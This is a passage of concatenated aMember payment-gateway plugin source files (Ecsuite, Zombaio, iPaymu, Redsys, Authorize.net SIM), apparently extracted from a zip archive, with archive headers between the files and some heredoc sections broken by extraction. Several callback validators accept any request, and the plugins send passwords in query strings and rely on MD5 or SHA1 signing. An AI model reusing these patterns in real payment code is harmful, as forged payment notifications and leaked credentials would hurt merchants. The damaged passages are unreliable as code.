'Ecsuite 900' )))); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('account')->setLabel("Your Account Id in Ecsuite\n" . 'your account number on Ecsuite, like 112233'); $form->addText('subaccount_id')->setLabel("Subaccount number\n" . 'like 0001 or 0002'); $form->addText('datalink_user')->setLabel("DataLink Username\n" . 'read Ecsuite plugin readme (11) about'); $form->addText('datalink_pass')->setLabel("DataLink Password\n" . 'read Ecsuite plugin readme (11) about'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $subaccount_id = $invoice->getItem(0)->getBillingPlanData("ecsuite_subaccount_id") ? $invoice->getItem(0)->getBillingPlanData("ecsuite_subaccount_id") : $this->getConfig('subaccount_id'); $a = new Am_Paysystem_Action_Redirect(self::URL); $a->clientAccnum = $this->getConfig('account'); $a->clientSubacc = $subaccount_id; $a->subscriptionTypeId = $invoice->getItem(0)->getBillingPlanData("ecsuite_product_id"); $a->allowedTypes = $invoice->getItem(0)->getBillingPlanData("ecsuite_product_id"); $a->username = $user->login; $a->email = $invoice->getEmail(); $a->customer_fname = $invoice->getFirstName(); $a->customer_lname = $invoice->getLastName(); $a->address1 = $invoice->getStreet(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->zipcode = $invoice->getZip(); $a->country = $invoice->getCountry(); $a->phone_number = $invoice->getPhone(); $a->payment_id = $invoice->public_id; $a->formName = $invoice->getItem(0)->getBillingPlanData("ecsuite_form_id"); $a->customVar1 = $invoice->public_id; $result->setAction($a); } function getCancelUrl(Am_Mvc_Request $request = null) { return "https://www.ecsuite.com"; } public function getSupportedCurrencies() { return array('USD', 'AUD', 'EUR', 'GBP', 'JPY', 'CAD'); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ecsuite($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ecsuite_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<Ecsuite plugin setup NOTE: If you are using this plugin, you don't need Ecsuite script to manage .htpasswd file for protected area. aMember will handle all these things for your site. 1. Login into your Ecsuite account https://webadmin.ecsuite.com/ 2. Click QuickLinks: Account Setup : Account Admin 3. Choose an existing Subaccount, or create new one, then return to this step. 4. Create the same subscription types as you have in aMember control panel, make sure that all settings are the same. 5. Create a form for your subscription types. 6. Goto Modify Subaccount - Advanced. Set Background Post Information: Approval Post URL: %root_url%/payment/ecsuite/ipn Denial Post URL: %root_url%/payment/ecsuite/ipn Click "save" button. Goto Modify Subaccount - Basic Set Approval URL: %root_url%/payment/ecsuite/thanks?customVar1=%%customVar1%% 7. Click on "User Management" link and scroll down to "Username settings". Set: "Username Type" : "USER DEFINED" "Collect Username/Password" : "Display Username, Show Password Text Field" "Min Username Length" : 4 "Max Username Length" : 16 "Min Password Length" : 4 "Max Password Length" : 16 Click "update" button. 8. Click "View Subaccount Info" in left menu to return to subaccount review screen. Remember or write down the following parameters: In top left menu, you will see number, like "911399-0001" Here, 911399 - is your Account ID, and 0001 - is SubAccount ID. Have a look to "Forms" square: you will see form numbers. Write down form numbers with type "CREDIT". "Form name" looks like "22cc" and "Sub. Type ID" looks like "19". 9. Return back to aMember CP admin panel (most possible you're already here). Go to aMember CP -> Setup -> Ecsuite Enter your account and subaccount id. Click Save. Then go to aMember CP -> Edit Products, create or edit your products and don't forget to enter neccessary Ecsuite configuration parameters (form ID, ecsuite Product ID) for each your aMember Product. 10. Try to run test payments. You may setup a testing account here: https://webadmin.ecsuite.com/tools/accountMaintenance/testSignupSettings.cgi And you may find test credit card numbers here: http://ecsuitehelp.ecsuite.com/content/test_numb_card_tls.htm 11. Contact suport@ecsuite.com to obtain username and password for Ecsuite Data Link System. You will need to send them IP address of your site. If you don't know it, ask your hosting support. Ecsuite has two options when you create a datalink user. You can make one for a specific subaccount OR for "ALL" sub accounts. They need to make the datalink user for the specific subaccount, and not use the "ALL" option. 12. Enter datalink username and pasword into Ecsuite plugin settings. 13. To test datalink you can click on the following link
    EOT; } function dateToSQL($date) { if (preg_match('/^\d{14}$/', $date)) { $s = substr($date, 0, 4) . '-' . substr($date, 4, 2) . '-' . substr($date, 6, 2); return $s; } else { $tm = strtotime($date); return date('Y-m-d', $tm); } } function timeToSQL($date) { $s = substr($date, 0, 4) . '-' . substr($date, 4, 2) . '-' . substr($date, 6, 2) . ' ' . substr($date, 8, 2) . ':' . substr($date, 10, 2) . ':' . substr($date, 12, 2) . ''; return $s; } // Datalink request here; function onHourly() { if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $this->getDi()->errorLogTable->log("Ecsuite plugin error: Datalink is not configured!"); return; } define('ECSUITE_TIME_OFFSET', -8 * 3600); $last_run = $this->getDi()->store->get(self::ECSUITE_LAST_RUN); if (!$last_run || ($last_run < 19700101033324 )) $last_run = gmdate('YmdHis', time() - 15 * 3600 * 24 + ECSUITE_TIME_OFFSET); $now_run = gmdate('YmdHis', time() + ECSUITE_TIME_OFFSET); $last_run_tm = strtotime($this->timeToSQL($last_run)); $now_run_tm = strtotime($this->timeToSQL($now_run)); //Ecsuite allows to query data for last 24 hours only; if (($now_run_tm - $last_run_tm) > 3600 * 24) $now_run_tm = $last_run_tm + 3600 * 24; $now_run = date('YmdHis', $now_run_tm); //Ecsuite allow to execute datalink once in a hour only. if (($now_run_tm - $last_run_tm) <= 3600) return; $vars = array( 'startTime' => $last_run, 'endTime' => $now_run, 'transactionTypes' => 'REBILL,REFUND,EXPIRE,CHARGEBACK', 'clientAccnum' => $this->getConfig('account'), 'clientSubacc' => $this->getConfig('subaccount_id'), 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = self::DATALINK_URL . '?' . http_build_query($vars, '', '&')); $response = $r->send(); if (!$response) { $this->getDi()->errorLogTable->log('Ecsuite Datalink error: Unable to contact datalink server'); return; } $resp = $response->getBody(); // Log datalink requests; $this->getDi()->errorLogTable->log(sprintf("Ecsuite Datalink debug (%s, %s):\n%s\n%s", $last_run, $now_run, $requestString, $resp)); if (preg_match('/Error:(.+)/m', $resp, $regs)) { $e = $regs[1]; $this->getDi()->errorLogTable->log('Ecsuite Datalink error: ' . $e); return; } if ($resp == 1) { // Nothing to handle; } else { foreach (preg_split('/[\r\n]+/', $resp) as $line_orig) { $line = trim($line_orig); if (!strlen($line)) continue; $line = preg_split('/,/', $line); foreach ($line as $k => $v) $line[$k] = preg_replace('/^\s*"(.+?)"\s*$/', '\1', $v); $public_id = $line[3]; $invoice = $this->getDi()->invoiceTable->findByReceiptIdAndPlugin($line[3], $this->getId()); if (!$invoice) { $this->getDi()->errorLogTable->log('Ecsuite Datalink error: unable to find invoice for this record: ' . $line_orig); continue; } // "REBILL","434344","0001","0312112601000035671","2012-05-21","0112142105000024275","5.98" // "REBILL","545455","0001","0312112601000035867","2012-05-21","0112142105000024293","6.10" $transaction = null; switch ($line[0]) { case 'EXPIRE': $transaction = new Am_Paysystem_Transaction_Ecsuite_Datalink_Expire($this, $line); break; case 'REFUND': case 'CHARGEBACK': $transaction = new Am_Paysystem_Transaction_Ecsuite_Datalink_Refund($this, $line); break; case 'RENEW': case 'REBILL': case 'REBill': $transaction = new Am_Paysystem_Transaction_Ecsuite_Datalink_Rebill($this, $line); break; default: $this->getDi()->errorLogTable->log('Ecsuite Datalink error: unknown record: ' . $line_orig); } if (is_null($transaction)) continue; $transaction->setInvoice($invoice); try { $transaction->process(); } catch (Am_Exception $e) { $this->getDi()->errorLogTable->log(sprintf('Ecsuite Datalink Error: %s while handling line: %s', $e->getMessage(), $line_orig)); } } } $this->getDi()->store->set(self::ECSUITE_LAST_RUN, $now_run); } function sendTest() { define('ECSUITE_TIME_OFFSET', -8 * 3600); $last_run = $this->getDi()->store->get(self::ECSUITE_LAST_RUN); if (!$last_run || ($last_run < 19700101033324 )) $last_run = gmdate('YmdHis', time() - 15 * 3600 * 24 + ECSUITE_TIME_OFFSET); $now_run = gmdate('YmdHis', time() + ECSUITE_TIME_OFFSET); $last_run_tm = strtotime($this->timeToSQL($last_run)); $now_run_tm = strtotime($this->timeToSQL($now_run)); if (($now_run_tm - $last_run_tm) > 3600 * 24) $now_run_tm = $last_run_tm + 3600 * 24; $now_run = date('YmdHis', $now_run_tm); $vars = array( 'startTime' => $last_run, 'endTime' => $now_run, 'transactionTypes' => 'REBILL,REFUND,EXPIRE,CHARGEBACK', 'clientAccnum' => $this->getConfig('account'), 'clientSubacc' => $this->getConfig('subaccount_id'), 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = self::DATALINK_URL . '?' . http_build_query($vars, '', '&')); $response = $r->send(); //global problems with connection if (!$response) { return 'Ecsuite Datalink error: Unable to contact datalink server'; } $resp = $response->getBody(); $this->getDi()->errorLogTable->log(sprintf("Ecsuite Datalink debug (%s, %s):\n%s\n%s", $last_run, $now_run, $requestString, $resp)); if (preg_match('/Error:(.+)/m', $resp, $regs)) { $e = $regs[1]; //some useful instruction if error like 'authentication error' if(preg_match('/auth/i',$e)) { $r_ip = new Am_HttpRequest('https://www.amember.com/get_ip.php'); $ip = $r_ip->send(); return 'Ecsuite Datalink error: ' . $e.'

    Usually it happens because Ecsuite has wrongly
    configured your server IP address.

    IP of your webserver is:'.$ip->getBody().'

    Please copy it down, contact Ecsuite support
    and provide them with this IP as a correct IP for your website.
    Once Ecsuite reports everything is fixed
    click on the link again and make sure the change was actually applied.'; } else return 'Ecsuite Datalink error: ' . $e. ''; } } public function debugAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { //requires admin to use this tool $admin = $this->getDi()->authAdmin->getUser(); if (!$admin) return; //plugin is not configured if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $response->ajaxResponse(array('ok' => false, 'msg' => 'Ecsuite plugin error: Datalink is not configured!')); return; } $error = $this->sendTest(); if($request->isXmlHttpRequest()) { if(empty($error)) $response->ajaxResponse(array('ok' => true)); else $response->ajaxResponse(array('ok' => false, 'msg' => $error)); } else echo $error; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); if($actionName=='debug') { $this->debugAction($request, $response, $invokeArgs); } else parent::directAction($request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Ecsuite_datalink extends Am_Paysystem_Transaction_Abstract { protected $vars; function __construct(Am_Paysystem_Abstract $plugin, $vars) { parent::__construct($plugin); $this->vars = $vars; } public function getAmount() { return $this->vars[6]; } public function getUniqId() { return $this->vars[5]; } } class Am_Paysystem_Transaction_Ecsuite_Datalink_Rebill extends Am_Paysystem_Transaction_Ecsuite_datalink { public function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_Ecsuite_Datalink_Refund extends Am_Paysystem_Transaction_Ecsuite_datalink { public function getUniqId() { return $this->vars[3] . '-RFND'; } public function getAmount() { return $this->vars[5]; } public function processValidated() { $this->invoice->addRefund($this, $this->vars[3]); } } class Am_Paysystem_Transaction_Ecsuite_Datalink_Expire extends Am_Paysystem_Transaction_Ecsuite_datalink { function processValidated() { $this->invoice->stopAccess($this); } } class Am_Paysystem_Transaction_Ecsuite extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('payment_id'); } public function getUniqId() { return $this->request->get('subscription_id'); } public function validateSource() { if ($this->request->get('clientAccnum') != $this->getPlugin()->getConfig('account')) throw new Am_Exception_Paysystem_TransactionSource(sprintf('Incorrect ECSUITE account number: [%s] instead of [%s]', $this->request->get('clientAccnum'), $this->getPlugin()->getConfig('account'))); if ($host = gethostbyaddr($addr = $this->request->getClientIp())) { if (!strlen($host) || ($addr == $host)) { // ecsuite_error("Cannot resolve host: ($addr=$host)\n"); // let is go, as some hosts are just unable to resolve names } elseif (!preg_match('/ecsuite\.com$/', $host)) throw new Am_Exception_Paysystem_TransactionSource("POST is not from ecsuite.com, it is from ($addr=$host)\n"); } return true; } public function validateStatus() { if (strlen($this->request->get('reasonForDecline')) > 0) return false; return true; } public function validateTerms() { if (intval($this->invoice->getItem(0)->getBillingPlanData("ecsuite_product_id")) != intval($this->request->get('typeId'))) { throw new Am_Exception_Paysystem_TransactionInvalid(sprintf("Product ID doesn't match: %s and %s", intval($this->invoice->getItem(0)->getBillingPlanData("ecsuite_product_id")), intval($this->request->get('typeId')))); } return true; } } class Am_Paysystem_Transaction_Ecsuite_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function process() { //redirect to thanks page only $this->invoice = $this->loadInvoice($this->request->get('customVar1')); } public function getUniqId() { } public function validateSource() { } public function validateStatus() { } public function validateTerms() { } }PK\ny''payment/zombaio.phpnu[addInteger('site_id', array('class' => 'el-wide')) ->setLabel('Your Zombaio Site ID'); $form->addInteger('merchant_id', array('class' => 'el-wide')) ->setLabel("Your Zombaio Merchant ID\n" . 'Can be found in ZOA dashboard'); $form->addText('password')->setLabel("Zombaio GW Pass\n" . "Unique key for the verify site/merchant. Can be found under site information in Zombaio Online Administrator"); $form->addSelect("lang", array(), array('options' => array( 'ZOM' => 'Default (Script will detect user language based on IP)', 'US' => 'English', 'FR' => 'French', 'DE' => 'German', 'IT' => 'Italian', 'JP' => 'Japanese', 'ES' => 'Spanish', 'SE' => 'Swedish', 'KR' => 'Korean', 'CH' => 'Traditional Chinese', 'HK' => 'Simplified Chinese' )))->setLabel('Zombaio Site Language'); $form->addAdvCheckbox('validation_mode') ->setLabel("Enable Validation Mode\n" . 'Turn this on in order to validate ZScript in your Zombaio account. ' . 'After script will be validated this setting should be disabled immediately'); $form->addAdvCheckbox('dynamic_pricing') ->setLabel("Enable Dynamic Pricing\n" . 'The amount must be within the range €/$ 10.00 - €/$ 100.00 if you want to use other amounts you must get an approval from support@zombaio.com'); } public function isConfigured() { return $this->getConfig('site_id') > ''; } public function getActionURL(Invoice $invoice) { return sprintf("https://secure.zombaio.com/?%d.%d.%s", $this->getConfig('site_id'), $invoice->getItem(0)->getBillingPlanData('zombaio_pricing_id'), $this->getConfig('lang', 'ZOM') ); } public function getAPIURL($type, $params) { return sprintf("https://secure.zombaio.com/API/%s/?%s", $type, http_build_query($params, '', '&')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Form($this->getActionURL($invoice)); $action->identifier = $invoice->getLogin(); $action->FirstName = $invoice->getFirstName(); $action->LastName = $invoice->getLastName(); $action->Address = $invoice->getStreet(); $action->Postal = $invoice->getZip(); $action->City = $invoice->getCity(); $action->Email = $invoice->getEmail(); $action->Username = $invoice->getLogin(); $action->extra = $invoice->public_id; $action->return_url_approve = $this->getReturnUrl($request); $action->return_url_decline = $this->getCancelUrl($request); $action->return_url_error = $this->getCancelUrl($request); if($this->getConfig('dynamic_pricing')) { $action->DynAmount_Value = number_format($invoice->first_total,2); $action->DynAmount_Hash = md5($this->getConfig('password').number_format($invoice->first_total,2)); } $result->setAction($action); } public function getSupportedCurrencies() { return array('USD', 'EUR', 'CAD', 'JPY'); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Zombaio($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('zombaio_pricing_id', "Zombaio Pricing ID", "you must create the same product
    in Zombaio and enter its number here")); } function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return <<Zombaio Payment Plugin Configuration 1. Create equivalents for all aMember products in Your Zombaio account. Make sure it has the same subscription terms (period, price) as aMember Products. 2. Configure aMember CP -> Products -> Manage Products -> Edit -> Zombaio Pricing ID You can get Pricing ID from Signup form URL created by ZOMBAIO. In your Zombaio account go to Tools -> Pricing Structure -> Manage You will see Join Form URL: https://secure.zombaio.com/?287653706.1379928.ZOM In this url 287653706 - your Site ID 1379928 - Pricing ID 3. Set Postback URL (ZScript) for your site at Zombaio merchant account to $ipn You must enable "Validation mode" in plugin configuration in order to validate script url in Zombaio account. Turn "Validation mode" off after validation. aMember will not take any real actions on IPN messages in "Validation mode" CUT; } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs){ if($this->getConfig('validation_mode')) { print "OK"; exit; } try { return parent::directAction($request, $response, $invokeArgs); } catch (Exception $e) { $this->getDi()->errorLogTable->log($e); print "ERROR"; exit; } } function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { list(, $trans_id) = explode("-", $payment->receipt_id); try { $r = new Am_HttpRequest($this->getAPIURL(self::API_REFUND, array( 'TRANSACTION_ID' => $trans_id, 'MERCHANT_ID' => $this->getConfig("merchant_id"), 'ZombaioGWPass' => $this->getConfig("password"), 'Refund_Type' => 1 ))); $response = $r->send(); } catch (Exception $e) { $this->getDi()->errorLogTable->logException($e); } if($response && $response->getBody() == 1){ $trans = new Am_Paysystem_Transaction_Manual($this); $trans->setAmount($amount); $trans->setReceiptId($payment->receipt_id.'-zombaio-refund'); $result->setSuccess($trans); }else{ $result->setFailed(array('Error Processing Refund!')); } } } class Am_Paysystem_Transaction_Zombaio extends Am_Paysystem_Transaction_Incoming { const ACTION_ADD = 'user.add'; const ACTION_REBILL = 'rebill'; const ACTION_DELETE = 'user.delete'; function getSiteID() { return $this->request->get("SiteID") ? $this->request->get("SiteID") : $this->request->get("SITE_ID"); } function getSubscriptionID() { return $this->request->get("SubscriptionID") ? $this->request->get("SubscriptionID") : $this->request->get("SUBSCRIPTION_ID"); } public function findBySubscriptionId() { return $this->getPlugin()->getDi()->db->selectCell(" SELECT i.public_id FROM ?_invoice_payment p LEFT JOIN ?_invoice i USING(invoice_id) WHERE p.paysys_id = 'zombaio' AND (p.transaction_id LIKE ? or p.transaction_id = ?) LIMIT 1 ", $this->getSubscriptionID().'-%', $this->getSubscriptionID()); } public function findInvoiceId() { return ($this->request->get("extra") ? $this->request->get("extra") : $this->findBySubscriptionId()); } public function getUniqId() { return sprintf("%s-%s", $this->getSubscriptionID(), $this->request->get("TRANSACTION_ID")); } public function validateSource() { if($this->request->get("ZombaioGWPass") != $this->plugin->getConfig("password")) throw new Am_Exception_Paysystem_TransactionInvalid("Incorrect GW Password submited!"); if(($this->request->get('Action') == self::ACTION_ADD) && ($this->getSiteID() != $this->plugin->getConfig("site_id"))) throw new Am_Exception_Paysystem_TransactionInvalid("Transaction submited for another site!"); return true; } public function validateStatus() { if($this->request->get('Action') == self::ACTION_REBILL) return (intval($this->request->get('Success')) == 1); return true; } public function validateTerms() { if(($this->request->get('Action') == self::ACTION_ADD) && ($this->request->get("PRICING_ID") != $this->invoice->getItem(0)->getBillingPlanData('zombaio_pricing_id'))) { throw new Am_Exception_Paysystem_TransactionInvalid("Wrong PRICING ID used"); } return true; } public function processValidated(){ switch($this->request->get('Action')){ case self::ACTION_ADD : case self::ACTION_REBILL : $this->invoice->addPayment($this); break; case self::ACTION_DELETE : $this->invoice->stopAccess($this); break; } print "OK"; } }PK\. payment/ipaymu.phpnu[addText('key', array('class' => 'el-wide'))->setLabel('Your API Key'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $request = new Am_HttpRequest(self::URL, Am_HttpRequest::METHOD_POST); $request->addPostParameter(array( 'key' => $this->getConfig('key'), 'action' => 'payment', 'product' => $invoice->getLineDescription(), 'price' => $invoice->first_total, 'quantity' => 1, 'comments' => $invoice->public_id, 'ureturn' => $this->getReturnUrl(), 'unotify' => $this->getPluginUrl('ipn'), 'ucancel' => $this->getCancelUrl(), 'format' => 'json' )); $log = $this->logRequest($request); $responce = $request->send(); $log->add($responce); if ($responce->getStatus() != 200) { $result->setFailed('Can not connect to iPaymu server'); return; } $r = json_decode($responce->getBody(), true); if (!isset($r['url'])) { $result->setFailed('Request Error ' . $r['Status'] .": ". $r['Keterangan']); return; } $invoice->data() ->set(self::DATA_KEY, $r['sessionID']) ->update(); $a = new Am_Paysystem_Action_Redirect($r['url']); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ipaymu($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Ipaymu extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('trx_id'); } public function validateSource() { return true; //@see findInvoiceId } public function validateStatus() { return true; } public function validateTerms() { return true; } public function findInvoiceId() { $invoice = $this->plugin->getDi()->invoiceTable->findFirstByData(Am_Paysystem_Ipaymu::DATA_KEY, $this->request->get('sid')); return $invoice ? $invoice->public_id : null; } public function processValidated() { if ($this->request->get('status') == 'berhasil') { parent::processValidated(); } } }PK\]Ppayment/redsys.phpnu[addText('code')->setLabel('Merchant Code (FUC)'); $form->addText('terminal')->setLabel('Terminal'); $form->addPassword('secret', array('class'=>'el-wide'))->setLabel('Secret Key (CLAVE SECRETA)'); $form->addAdvRadio('version') ->setLabel('Version') ->loadOptions(array( 'sha256' => 'SHA-256', 'sha1' => 'SHA-1 (Depricated)', )); $form->setDefault('version', 'sha256'); $form->addAdvCheckbox('testing') ->setLabel("Is it a Sandbox (Testing) Account?"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form($this->host()); $vars = array( 'Ds_Merchant_Amount' => $invoice->first_total * 100, 'Ds_Merchant_Order' => $invoice->public_id, 'Ds_Merchant_MerchantCode' => $this->getConfig('code'), 'Ds_Merchant_Currency' => Am_Currency::getNumericCode($invoice->currency), 'Ds_Merchant_TransactionType' => 0, 'Ds_Merchant_MerchantURL' => $this->getPluginUrl('ipn') ); $vars['Ds_Merchant_MerchantSignature'] = strtoupper(sha1(implode('', $vars) . $this->getConfig('secret'))); $vars['Ds_Merchant_Terminal'] = $this->getConfig('terminal'); $vars['Ds_Merchant_ProductDescription'] = $invoice->getLineDescription(); $vars['Ds_Merchant_UrlOK'] = $this->getReturnUrl(); $vars['Ds_Merchant_UrlKO'] = $this->getCancelUrl(); $vars['Ds_Merchant_MerchantName'] = $this->getDi()->config->get('site_title'); switch ($this->getConfig('version', 'sha256')) { case 'sha1' : foreach ($vars as $k => $v) { $a->$k = $v; } break; case 'sha256': default: unset($vars['Ds_Merchant_MerchantSignature']); $a->Ds_SignatureVersion='HMAC_SHA256_V1'; $payload = base64_encode(json_encode($vars)); $a->Ds_MerchantParameters = $payload; $a->Ds_Signature = $this->hash($payload, $invoice->public_id); } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch($this->getConfig('version', 'sha256')) { case 'sha1': return new Am_Paysystem_Transaction_RedsysSha1($this, $request, $response, $invokeArgs); case 'sha256': default: return new Am_Paysystem_Transaction_RedsysSha256($this, $request, $response, $invokeArgs); } } function hash($payload, $order_id) { $k = base64_decode($this->getConfig('secret')); $k = $this->encrypt_3DES($order_id, $k); return base64_encode(hash_hmac('sha256', $payload, $k, true)); } function hashNotify($payload, $order_id) { $k = base64_decode($this->getConfig('secret')); $k = $this->encrypt_3DES($order_id, $k); return $this->base64_url_encode(hash_hmac('sha256', $payload, $k, true)); } function encrypt_3DES($message, $key){ $bytes = array(0,0,0,0,0,0,0,0); $iv = implode(array_map("chr", $bytes)); $ciphertext = mcrypt_encrypt(MCRYPT_3DES, $key, $message, MCRYPT_MODE_CBC, $iv); return $ciphertext; } function base64_url_encode($input) { return strtr(base64_encode($input), '+/', '-_'); } function base64_url_decode($input) { return base64_decode(strtr($input, '-_', '+/')); } function host() { return $this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL; } } class Am_Paysystem_Transaction_RedsysSha256 extends Am_Paysystem_Transaction_Incoming { public function init() { $this->payload = json_decode($this->plugin->base64_url_decode($this->request->get('Ds_MerchantParameters')), true); parent::init(); } public function getUniqId() { return $this->payload['Ds_AuthorisationCode']; } public function findInvoiceId() { return $this->payload['Ds_Order']; } public function validateSource() { $this->_checkIp(<<plugin->hashNotify($this->request->get('Ds_MerchantParameters'), $this->payload['Ds_Order']) == $this->request->getParam('Ds_Signature'); } public function validateStatus() { return substr($this->payload['Ds_Response'], 0, 2) == '00'; } public function validateTerms() { return ($this->payload['Ds_Amount'] / 100) == $this->invoice->first_total && $this->payload['Ds_Currency'] == Am_Currency::getNumericCode($this->invoice->currency); } } class Am_Paysystem_Transaction_RedsysSha1 extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam('Ds_AuthorisationCode'); } public function findInvoiceId() { return $this->request->getParam('Ds_Order'); } public function validateSource() { $this->_checkIp(<<request->getParam($key); } $digest = strtoupper(sha1($msg . $this->plugin->getConfig('secret'))); return $digest == $this->request->getParam('Ds_Signature'); } public function validateStatus() { return substr($this->request->getParam('Ds_Response'), 0, 2) == '00'; } public function validateTerms() { return ($this->request->getParam('Ds_Amount') / 100) == $this->invoice->first_total && $this->request->getParam('Ds_Currency') == Am_Currency::getNumericCode($this->invoice->currency); } }PK\tumpayment/authorize-sim.phpnu[addText('login') ->setLabel("Authorize.Net API Login ID\n" . "The API login is different from your Authorize.net username. " . "You can get at the same time as the Transaction Key") ->addRule('required'); $form->addText('tkey') ->setLabel("Transaction Key\n" . "The transaction key is generated by the system " . "and can be obtained from Merchant Interface.\n" . "To obtain the transaction key from the Merchant Interface:\n" . "1. Log into the Merchant Interface\n" . "2. Select Settings from the Main Menu\n" . "3. Click on Obtain Transaction Key in the Security section\n" . "4. Type in the answer to the secret question configured on setup\n" . "5. Click Submit") ->addRule('required'); $form->addPassword('secret') ->setLabel("Secret Word\n" . "From authorize.net MD5 Hash menu " . "You have to create secret word") ->addRule('required'); $form->addAdvCheckbox('testmode') ->setLabel('Is Test Mode?'); $form->addAdvCheckbox('devmode') ->setLabel("Is Developer Account?\n" . 'Select it if you are using developer API Login ID'); } protected function getUrl() { return ($this->getConfig('devmode')) ? self::URL_TEST : self::URL_LIVE; } protected function getTestRequestStatus() { return (!$this->getConfig('devmode') && $this->getConfig('testmode')) ? 'TRUE' : 'FALSE'; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form($this->getUrl()); $a->x_version = '3.1'; $a->x_login = $this->getConfig('login'); $a->x_test_request = $this->getTestRequestStatus(); $a->x_show_form = 'PAYMENT_FORM'; $a->x_amount = $price = sprintf('%.2f', $invoice->first_total); $a->x_receipt_link_url = $this->getPluginUrl('thanks'); $a->x_relay_url = $this->getPluginUrl('thanks'); $a->x_relay_response = 'TRUE'; $a->x_cancel_url = $this->getCancelUrl(); $a->x_invoice_num = $invoice->public_id; $a->x_cust_id = $invoice->getUserId(); $a->x_description = $invoice->getLineDescription(); $a->x_fp_sequence = $invoice->public_id; $a->x_fp_timestamp = $tstamp = time(); $a->x_address = $invoice->getStreet(); $a->x_city = $invoice->getCity(); $a->x_country = $invoice->getCountry(); $a->x_state = $invoice->getState(); $a->x_zip = $invoice->getZip(); $a->x_email = $invoice->getEmail(); $a->x_first_name = $invoice->getFirstName(); $a->x_last_name = $invoice->getLastName(); $a->x_fp_hash = hash_hmac('md5', $this->getConfig('login')."^".$invoice->public_id."^".$tstamp."^".$price."^", $this->getConfig('tkey')); $result->setAction($a); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<https://account.authorize.net/ and go to "Home -> ACCOUNT -> Settings" menu. Installation steps: 1. Go to "Transaction Format Settings -> Transaction Submission Settings -> Payment Form" and then to "Form Fields" menu. At least uncheck all boxes near "Customer ID". You can also disable another fields to make signup a bit less painful for your customers. 2. Go to "Security Settings -> General Security Settings -> MD5-Hash" menu. Set secret word to desired values (it is important that it is the same as configured in aMember). 3. Go to "Account -> Settings -> Transaction Format Settings -> Transaction Response Settings -> Relay Response", paste in URL field this url: {$this->getPluginUrl('thanks')} and click submit. 4. If you don't know API Login ID and Transaction Key go to "Security Settings -> General Security Settings -> API Login ID and Transaction Key" menu. Find API Login ID and create new transaction key (it is important that it is the same as configured in aMember). CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_AuthorizeSim($this, $request, $response, $invokeArgs); } public function thanksAction($request, $response, array $invokeArgs) { try{ parent::thanksAction($request, $response, $invokeArgs); } catch (Am_Exception_Paysystem_TransactionInvalid $ex) { $this->invoice = $this->transaction->getInvoice(); $response->setRedirect($this->getCancelUrl()); } } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $this->transaction = new Am_Paysystem_Transaction_AuthorizeSim($this, $request, $response, $invokeArgs); return $this->transaction; } } class Am_Paysystem_Transaction_AuthorizeSim extends Am_Paysystem_Transaction_Incoming { protected $result; public function process() { $this->result = $this->request->getPost(); parent::process(); } public function validateSource() { return true; } public function findInvoiceId() { return (string) $this->result['x_invoice_num']; } public function validateStatus() { return ( intval($this->result['x_response_code']) == 1 && strtoupper( md5( $this->plugin->getConfig('secret') . $this->plugin->getConfig('login') . $this->result['x_trans_id'] . $this->result['x_amount'] ) ) == $this->result['x_MD5_Hash'] ); } public function getUniqId() { return (string) $this->result['x_trans_id']; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, (string)$this->result['x_amount']); return true; } }PK\EEpayment/fortumo/fortumo.phpnu[getDi()->productTable->customFields()->add(new Am_CustomFieldText('fortumo_service_id', 'Fortumo Service ID', 'Get it from Service Status page')); 